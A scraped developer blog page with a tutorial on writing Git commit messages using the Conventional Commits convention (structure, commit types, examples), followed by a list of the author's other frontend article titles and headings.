You can check it out on GitHub:

👉 https://github.com/naserrasoulii/feature-based-react
👉 https://naserrasouli.ir/en/blog/feature-based-react

Feel free to fork it, use it as a base for your own projects, or contribute improvements!

Mastering Git Commit Messages with Conventional Commits

Naser Rasouli — Sun, 04 May 2025 18:10:49 +0000

✳️ Why Should We Care About Commit Message Structure?

In any software project, every small change made to the codebase is recorded in Git history. This history is not just a log of what happened — it's a crucial tool for tracking changes, collaborating with others, managing releases, and automating development workflows.
But when commit messages are written inconsistently or without structure:

It becomes hard to understand why a change was made
Generating changelogs becomes manual and time-consuming
CI/CD tools can’t effectively leverage the commit history
And in team environments, others struggle to follow your changes

This is where Conventional Commits come into play. It’s a simple but powerful convention that allows us to write commit messages in a structured, readable, and machine-parsable way — making life easier for both developers and tools.

🧠 What is Conventional Commits?

Conventional Commits is a standardized convention for writing commit messages in Git. It helps developers write structured, meaningful, and automatable messages to track changes more effectively.

🏗 Commit Message Structure

<type>(optional scope): <short description>
[optional body]
[optional footer(s)]

Main Components:
type: The type of change (required)
scope: The section of the codebase affected (optional)
description: A concise summary of the change (required)
body: A more detailed explanation (optional)
footer: Used for issue references or breaking changes (optional)

🧩 Common Commit Types

| Type     | Purpose                                          |
| -------- | ------------------------------------------------ |
| feat     | A new feature                                    |
| fix      | A bug fix                                        |
| docs     | Documentation-only changes                       |
| style    | Code formatting (whitespace, etc.)               |
| refactor | Code changes that don’t fix bugs or add features |
| test     | Adding or updating tests                         |
| chore    | Miscellaneous tasks (build tools, etc.)          |

🧪 Real-World Examples
Now that you understand the structure and purpose of Conventional Commits, let’s see how they’re actually used in real development workflows.
In this section, we’ll walk through practical examples of commit messages for common scenarios — from adding features and fixing bugs to making documentation updates and handling breaking changes.
These examples will help you apply the convention correctly and consistently in your own projects.

1. Adding a New Feature

feat(cart): add quantity selector to cart items

2. Fixing a Bug

fix(auth): resolve issue with token refresh on expiration

3. Documentation Update

docs(readme): update usage example for CLI

4. Styling Change

style(ui): reformat buttons and inputs using Tailwind

5. Code Refactoring

refactor(api): simplify data fetch logic in product service

6. Breaking Change (Incompatible)

feat!: drop support for Node.js v12

✅ Final Thoughts
Conventional Commits help create a clean, consistent, and automatable Git history. This is especially beneficial in team-based, open-source, or large-scale projects that rely on version control and automation.

DEV Community: Naser Rasouli

Why console.log After setState Shows the Old Value

Introduction

Why doesn’t state change immediately?

Basic example

How to read the fresh value

Use useEffect

Use a Functional Update

Back-to-back updates

Where you need to be careful

Quick checklist

Wrap-up

Cleanup Functions in useEffect: Stop Leaks Before They Start

Introduction

What useEffect does and what cleanup means

When does cleanup run?

Essential cleanup scenarios

DOM events

Timers (setInterval / setTimeout)

Subscriptions (socket/observable)

Network requests with AbortController

Dependencies and hidden bugs

Common mistakes to avoid

Quick checklist before merging

Wrap-up

Refresh Tokens on the Frontend: Architecture & Implementation

Introduction

Access Token vs. Refresh Token

Access Token

Refresh Token

Why bother with a Refresh Token?

Key differences

The full auth flow with refresh

Never store Refresh Tokens in localStorage

Best practice storage

Token Rotation (why it matters)

Practical frontend setup (Axios)

1) Keep the Access Token in memory

2) Add the Access Token to requests (request interceptor)

3) Handle 401 and auto-refresh (response interceptor)

Secure logout

Notes for SSR frameworks (Next.js)

Security checklist

Conclusion

Why JavaScript Matters More Than Any Framework

Frameworks are tools, not foundations

JavaScript is a problem-solving language

JavaScript outlives any framework

Freedom to choose any framework

Real debugging is impossible without JavaScript

JavaScript bridges frontend and backend

Recommended learning order

Takeaway

A Realistic Frontend Roadmap: Zero to Pro

Why this roadmap?

Stage 1: Understand the web before coding

Stage 2: HTML for structure and meaning

Stage 3: CSS for design and UX

Stage 4: JavaScript for behavior and logic

Stage 5: Discipline and teamwork with Git

Stage 6: Frameworks and frontend architecture

Stage 7: Quality and optimization

Stage 8: Real experience through practical projects

Stage 9: Entering the job market and presenting yourself

Stage 10: Becoming a specialist and keep growing

Takeaway

BEM Methodology in CSS: predictable naming for clean styles

Why BEM?

What is BEM?

Core pieces

Naming format

Practical example

Benefits of BEM

Drawbacks and limits

When to use BEM

Quick usage tips

Takeaway

Building a Crypto Payment Gateway — Looking for Feedback from Developers

webdev #fintech #crypto #payments #softwareengineering

Role & Permission Based Access Control in React (Static Access)

Use `useEffect`